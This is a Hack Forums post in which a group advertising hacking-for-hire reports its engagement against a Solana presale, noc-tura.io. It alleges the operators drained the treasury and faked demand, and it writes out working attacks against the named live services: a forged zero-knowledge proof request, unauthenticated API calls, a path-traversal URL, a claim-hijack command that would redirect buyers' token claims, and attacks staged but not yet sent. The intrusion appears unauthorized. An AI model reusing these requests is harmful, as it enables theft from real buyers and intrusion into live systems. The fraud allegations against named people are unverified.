

Forum:[Hack Forums](#)

Thread: [\[Anvilpoint CyberOps\] Noctura Engagement Report](#)

Anvilpoint - October 5, 2026, 2:36 pm

Do you have a target you would like us to work on? Reach out today!

[contract=tid]Start Contract[/contract]

A 19-hour engagement against noc-tura.io, a Solana presale marketed as "Solana's First Shielded Privacy Layer." 1,517 logged requests, 5,409 evidence files, 43 findings. Currently paused. Everything below is banked evidence, with names and numbers.

The Verdict Up Front

The presale's on-chain ledger says it raised \$195,016.05. The treasury vault holds 53.07 SOL and 172.10 USDC, roughly \$10,000. About 90% of the money that buyers sent has already left, through 193 near-daily sweeps since January 17. The "raised" figure is inflated by the treasury itself: 68 wallets match a sweep-then-buy-back pattern accounting for \$83,323.52, or 42.73% of the total. The number-one buyer on the public leaderboard received 45 SOL from the treasury and paid 44.99 SOL back in as a "purchase" 62 seconds later. The referral program is 99.6% the operators signing tokens to themselves, including 433 wallets that each received exactly 114.318376679 NOC in one 90-minute window and never purchased.

What a buyer receives is not a token. It is a record in a program controlled by one admin key, possibly claimable on January 18, 2027. There is no escrow and no refund path on any chain. The link that ties a cross-chain purchase to its future claim is unverified at every layer, and about 9,051 NOC of buyer allocations are hijackable by whoever calls the link instruction first. The product does not implement its marketing: the token is fully transparent, governance publishes every voter's wallet, and the shielded pool has been unusable since August 4 due to the operators' own failed upgrade.

The structure gives two people unilateral discretion over every dollar, and they have already taken roughly 90% of it out. Delivery on the distribution date is a dubious promise, not a mechanism.

What We Demonstrated

The vendor's own server mints a cryptographic proof for money that does not exist. The shielded pool uses Groth16 zero-knowledge proofs. The vendor's public repository ships its own exploit scripts for those circuits, labeled "FIXED-VULNERABILITY PROOF OF CONCEPT," with an August 7 fix commit stating the proving keys need regeneration. We established the regeneration never happened, three independent ways: the deployed prover's circuit algebra matches the pre-fix revision (56 witness inputs where the fixed version has 58), the deployed build artifacts predate the fix by five months, and the proving key we retrieved from the vendor's public storage exports a verification key byte-identical to the one in the deployed wallet bundle.

We then adapted the vendor's own exploit, built the witness with genuine cryptographic values, verified every constraint offline against the real pre-fix circuit, and sent it to the live production service:

Code POST /prove/swap_v2 -> HTTP 200, full Groth16 proof

The vendor's server returned a mathematically valid proof attesting a shielded balance of 10^{30}

tokens.

The battery included two control requests that make the result unambiguous. An honest witness, one representing a legitimate small swap, was also minted into a proof, and all 10 of its public signals matched values we computed independently. So the service is functioning normally for legitimate traffic. A witness shaped like the fixed, post-August version was rejected with a signal-name error. So the service is actively running the old circuit, not the new one. The poisoned witness was the only fraudulent input the service accepted, which is exactly the difference the August 7 fix was supposed to close. The proof is a genuine Groth16 proof (20.9 seconds of real proving time on the server), not a cached or canned response.

The shield is already broken for everyone, which is the only thing that stopped transfer of real funds. The chain of what an attacker can do, and where it stops:

1. The forged proof clears the on-chain verification. We read the deployed verifier account on the payment pool and it carries the exact pre-fix verification key, so a proof minted by the vendor's own prover, including ours, passes the program's signature check. This step works today.
2. The conversion then fails, for a reason that is not a security control. The vendor's August 4 upgrade switched the pool's record-keeping hash from Keccak to Poseidon without running the mandatory migration step, leaving the stored deposit records and the new code permanently incompatible. Every zk spend fails with a stale-root error. Every deposit fails on invalid data. This has been true since August 4, and it affects the operators' own users exactly as much as any attacker.
3. So the pool's actual assets, 11.985 SOL and 14,455.8 NOC, sit behind a door nobody can open. We could mint the proof, the proof would verify on-chain, and the spending instruction still refuses to execute. The forged balance of 10^{30} tokens is proven and minted, but it cannot be converted into a spendable state on the pool as the pool exists today.
4. The mainnet presale program, which holds the real treasury, was swept exhaustively: every deployed instruction was checked for a path an attacker could use to make it pay out SOL. There is none. The two purchase instructions only move SOL inward, there is no refund or reclaim instruction, and the treasury is a plain wallet outside the program's reach. Only the key holders can move that money.

That is the honest answer to "why was no actual SOL extracted": the one pool with a live soundness break is bricked by the vendor's own defect, and the one program with real mainnet funds has no attacker-reachable exit. Neither barrier was designed. Both are accidents.

We mapped the recovery path as a trap. A full source review of all 40 deployed instructions found three admin functions with no access control: anyone can replace the verifier keys, anyone can wipe the double-spend registry, and anyone can drain the legacy vault (its balance on our final read: zero tokens). The vendor's own [REDACTED], must go through the same unguarded instruction. This defines the risk going forward: if the operators reset the merkle tree to unbrick the pool, and fail to [REDACTED], the forged-balance exploit sequence completes on-chain the same day, and the double-spend registry can be wiped by anyone to clear the way.

We traced every dollar. The presale records \$195,016.05 across 1,590 allocation accounts. The vault holds about \$10,000. The gap left through 193 sweeps to fresh wallets. The public leaderboard's top five "buyers" are all treasury sweep-hop wallets operating in strict serial order:

Code	Rank	Wallet	Vault swept in	Paid back as "purchase"	Gap
----	-----	-----	-----	-----	-----

1	2m4SSbpe...	45.0 SOL, Sep 1	44.99 SOL	62 sec
2	3S6Ykzp9...	30.0 SOL, Sep 8	29.9967 SOL	66 sec
3	ELCGN9Nu...	29.7039 SOL, Aug 27	29.6939 SOL	287 sec
4	4d2VUPZ4...	29.7 SOL, Aug 25	29.68 SOL	85 sec
5	7EvB4QQ1...	27.99 SOL, Aug 22	27.9799 SOL	79 sec

68 buyers match the wash pattern, totaling \$83,323.52 (42.73% of "raised"). Among the top 30 paid buyers, 27 are wash-pattern wallets. The multisig controlling the vault has four members, three funded by the admin key within minutes or hours of its creation, moving funds on 3-of-4 approval with zero waiting period. The multisig creator's own wallet participates in the presale through the cross-chain path.

We proved the negative too. A full sweep of every deployed instruction found no attacker-fireable path to extract mainnet SOL. The program can only receive. The only party that can move the money out is the one holding the keys.

We tested the full attack surface. All 65,535 ports on the origin from different vantage points, with the scanner's own false positives identified and corrected. Every major web vulnerability class: request smuggling (clean negative, the front rejects framing ambiguity in under a second), cache deception, prototype pollution, hidden parameters, blind injection, WebSocket hijacking (zero live endpoints), cross-site request forgery (blocked), bypass ladders. The unauthenticated findings that did land: a purchase-history oracle for any wallet, a public buyer leaderboard, a rate limit granting 4x quota to any request carrying an Origin header including literally Origin: null, an admin route the public buy path itself calls with no password check, two write endpoints accepting anyone's records, and a path traversal on the prover that opens arbitrary file paths, distinguished byte-for-byte from a parse error naming the file it opened.

We verified our own work and published our corrections. Two early findings were falsified by our own verification process: a suspected code drift that was our simulation's input error, and a suspected service that was a scanner artifact. The 43 findings that survived our rigorous standard are the basis of this report.

What an Attacker Can Do Today

Confirmed and demonstrated on the live systems, with no paid credentials and no special access. Each item names the actual target, so the examples can be checked:

1. Mint a proof for a shielded balance that was never deposited. The live prover at noctura-relayer.onrender.com accepted a witness carrying an input amount of $100 + 10^{30}$ and returned a full Groth16 proof for circuit swap_v2. The witness inputs were built from the vendor's own published exploit script ([zk/scripts/wraparoundExploitSwapV2.ts](#), commit bc39cc9), with the two post-fix keys removed. The actual request:

Code POST https://noctura-relayer.onrender.com/prove/swap_v2

Content-Type: application/json

```
{ "inAmount": 1000000000000000000000000000100, "swapAmount": 250,  
  "changeAmount": 99999999999999999999999999850, "inputSecret": 111,  
  "changeSecret": 555, "nullifierSecret": 333, ... }
```

The server answered HTTP 200 with a full Groth16 proof (pi_a/pi_b/pi_c, 344-character base64 proofBytes, proverMs 20890). Its public signal 2, the change commitment, decoded to Poseidon4(555, 10^30 - 250, 999, 666), the poisoned shielded balance, and matched our local recomputation byte-for-byte.

2. Read any buyer's complete purchase history. The actual request, no headers, no login:

Code GET

<https://www.noc-tura.io/api/coordinator/purchases/5giGZNX54TQeFxmV4uQssLDH83P4DdepZ88gSbtFwQa>

returns that wallet's full record: 180.946 NOC unclaimed, every purchase with dollar figures and timestamps. Any address can be substituted. We used this exact endpoint while building the locked-claim test.

3. Pull the ranked leaderboard of every buyer. The endpoint `/api/coordinator/leaderboard` returns the ranked list of wallets and amounts. That list is where we found the top five wash-pattern wallets in the table above, each receiving treasury SOL seconds before buying it back.

4. Build the victim list for the claim hijack, in advance. The actual request:

Code POST <https://www.noc-tura.io/api/coordinator/link-wallet>

Content-Type: application/json

```
{ "evmAddress": "0x<any 40 hex chars>" }
```

returns, with no authentication and no format validation, whether that address has a linked Solana wallet. An attacker can sweep the entire cross-chain buyer population this way and pick unlinked victims before the distribution window opens.

5. Take over an unlinked buyer's claim, in one instruction call. The on-chain instruction `link_solana_wallet` (lib.rs lines 2081-2104) has no owner-signature check. The claim gate at line 2124 pays whoever the allocation's linked wallet points to. The attack, from any funded wallet, is one instruction call:

Code `custom_solana_script.py` call `6nTTJwTduxjv8C1JMsajYQapmPAGrC3QF1w5nu9LXJvt \`

`link_solana_wallet \`

`--arg eth_address=<victim's 0x address> --arg chain=1 \`

`--arg linked_solana_wallet=<attacker wallet> \`

`--signer attacker_wallet.json`

9 of 16 cross-chain allocations are still default-linked, about 9,051 NOC. Whoever calls the instruction with a victim's Ethereum address first redirects that victim's claim to their own wallet, and the claim gate then pays the attacker at distribution.

6. Swap the on-chain verifier keys, wipe the double-spend registry, or drain the legacy vault. The swap-family key setters (lib.rs 96-175) have no admin check in any version of this code, and the embedded test accepts a fabricated key blob. `emergency_reset_nullifiers` (lib.rs 552-557) lets any funded wallet clear the spent-notes registry. `admin_withdraw_legacy_vault` (lib.rs 1076-1099) carries the comment "DEVNET ONLY: No admin check" and is live on mainnet. Each is a state change that succeeds on-chain today. The key swap and the registry wipe convert to value the moment the pool is unbricked.

7. Register fabricated records with the coordinator's ledger. The site's own buy flow calls POST `/api/admin/record-solana-purchase`, and the route runs with no auth gate. We fired a wrong-type body at it:

Code POST <https://www.noc-tura.io/api/admin/record-solana-purchase>

Content-Type: application/json

```
{ "txHash": 12345 }
```

and received 500 with a field-processing error, not a permission error, proving it executes live write code for anyone. The daily points claim (POST `/api/points/daily-claim`) likewise accepted our records with no login, minting loyalty points from nothing. Both confirmed persisted writes.

8. Open arbitrary file paths on the prover and map what exists there. The path traversal lives in `/prove/{circuit}`, where the circuit name is decoded and joined into a filesystem path three times. The

actual request shape:

Code GET

<https://noctura-relayer.onrender.com/prove/transfer%2F..%2F..%2Fprover-service%2Fsrc%2Findex.ts>

returns a witness-parse error naming the real file, while a nonexistent path returns ENOENT ... /opt/render/project/src/zk/.... That difference is a byte-for-byte file-existence oracle. Confirmed on the live server: the service's own source (src/index.ts, src/snark.ts), the running binary (dist/index.js), the Dockerfile, both package.json files, a live proving key (keys/transfer.zkey), and 4 more, 10 files total. Confirmed absent: the secrets file (.env).

Items 2, 3, and 4 require only a web browser. Items 1 and 8 require only the public prover URL. Items 5, 6, and 7 require a funded wallet, roughly a dollar of transaction fees total.

What Remains If Work Continues

The engagement paused with a staged inventory prepared but not yet fired, all of it one signed transaction or one request away from completion:

1. The claim-hijack exploit against a real victim allocation. Our simulation proved all five legs of the attack against a real unlinked buyer allocation. Submitting the simulated transaction to the blockchain would make any victim's NOC claim payable to us if distribution actually happens.
2. The completed-write purchase record. The admin-namespace route that the site's own purchase flow calls, fired with a well-formed body, which would show whether the coordinator accepts a fabricated purchase record.
3. The governance wallet-attribution probes. Three probes that fire the moment any proposal opens: whether ballots can be attributed to wallets that did not sign them, whether backdated votes are accepted, and whether the per-user cap can be exceeded under concurrency.
4. The double-spend class, live. The rho exploit was proven offline against the committed circuit but never fired at the live prover. Two requests would close that leg.
5. The mainnet enforcement test. The minimum-purchase bound exists in code and was never exercised with a real transaction.
6. The recovery-day triggers. If the operators unbrick the pool, the forged-balance conversion, the verifier-takeover drain, and the double-spend could all fire on the same day [REDACTED], through an instruction that currently has no access control.

The Product vs the Marketing

The token marketed as shielded privacy is a standard transparent SPL token, with 100% of supply in two operator-governed addresses. The governance app displays every voter's wallet joinable to full purchase history. The dashboard advertises a \$200,000 per-user cap. The on-chain configuration enforces \$50,000. The bonus endpoint rejects every request the site's own client sends it. The marketing site's ?debug=1 parameter loads an in-page developer console on every page, including the wallet-connected dashboard, served from a CDN the site's own security policy whitelists. The deployed wallet app is a devnet build exposing a debug surface to every visitor, including a function that prints elliptic-curve private key bytes and a default-plaintext mnemonic store.

The Operation

Two people and an AI coding assistant. The public repositories contain the internal design docs, a deploy note reading "carried out by Claude over SSH at the owner's explicit request," and an audit report written by the AI about its own work. Four fixes were committed and never deployed, four separate times, with the running binary each time older than the repository. Only a single operational

practice is competent: every treasury transaction pays a Jito tip through the private mempool, so nobody can front-run their withdrawals.

The Buyer's Summary

1. You pay money and receive a promise, enforced by nothing, dubiously redeemable by the same people who already took 90% of the money out.
2. Every public signal of demand, the leaderboard, the raised counter, the referral activity, is manufactured by the operators from their own treasury.
3. The product does not exist in the form advertised. The token is transparent, governance is public, and the shielded pool has been broken since August by the vendors' own hand.
4. The infrastructure holding your claim is run at a hobbyist security level by two people and an AI assistant, and a 19-hour assessment minted a proof for 10^{30} tokens against it.

Maybe the distribution date arrives and the tokens move. Nothing in the code, the ledger, or the money flow makes it likely, and nothing in the system obliges the operators to deliver. The presale is designed so that delivery is optional.

Do you have a target you would like us to work on? Reach out today!
[contract=tid]Start Contract[/contract]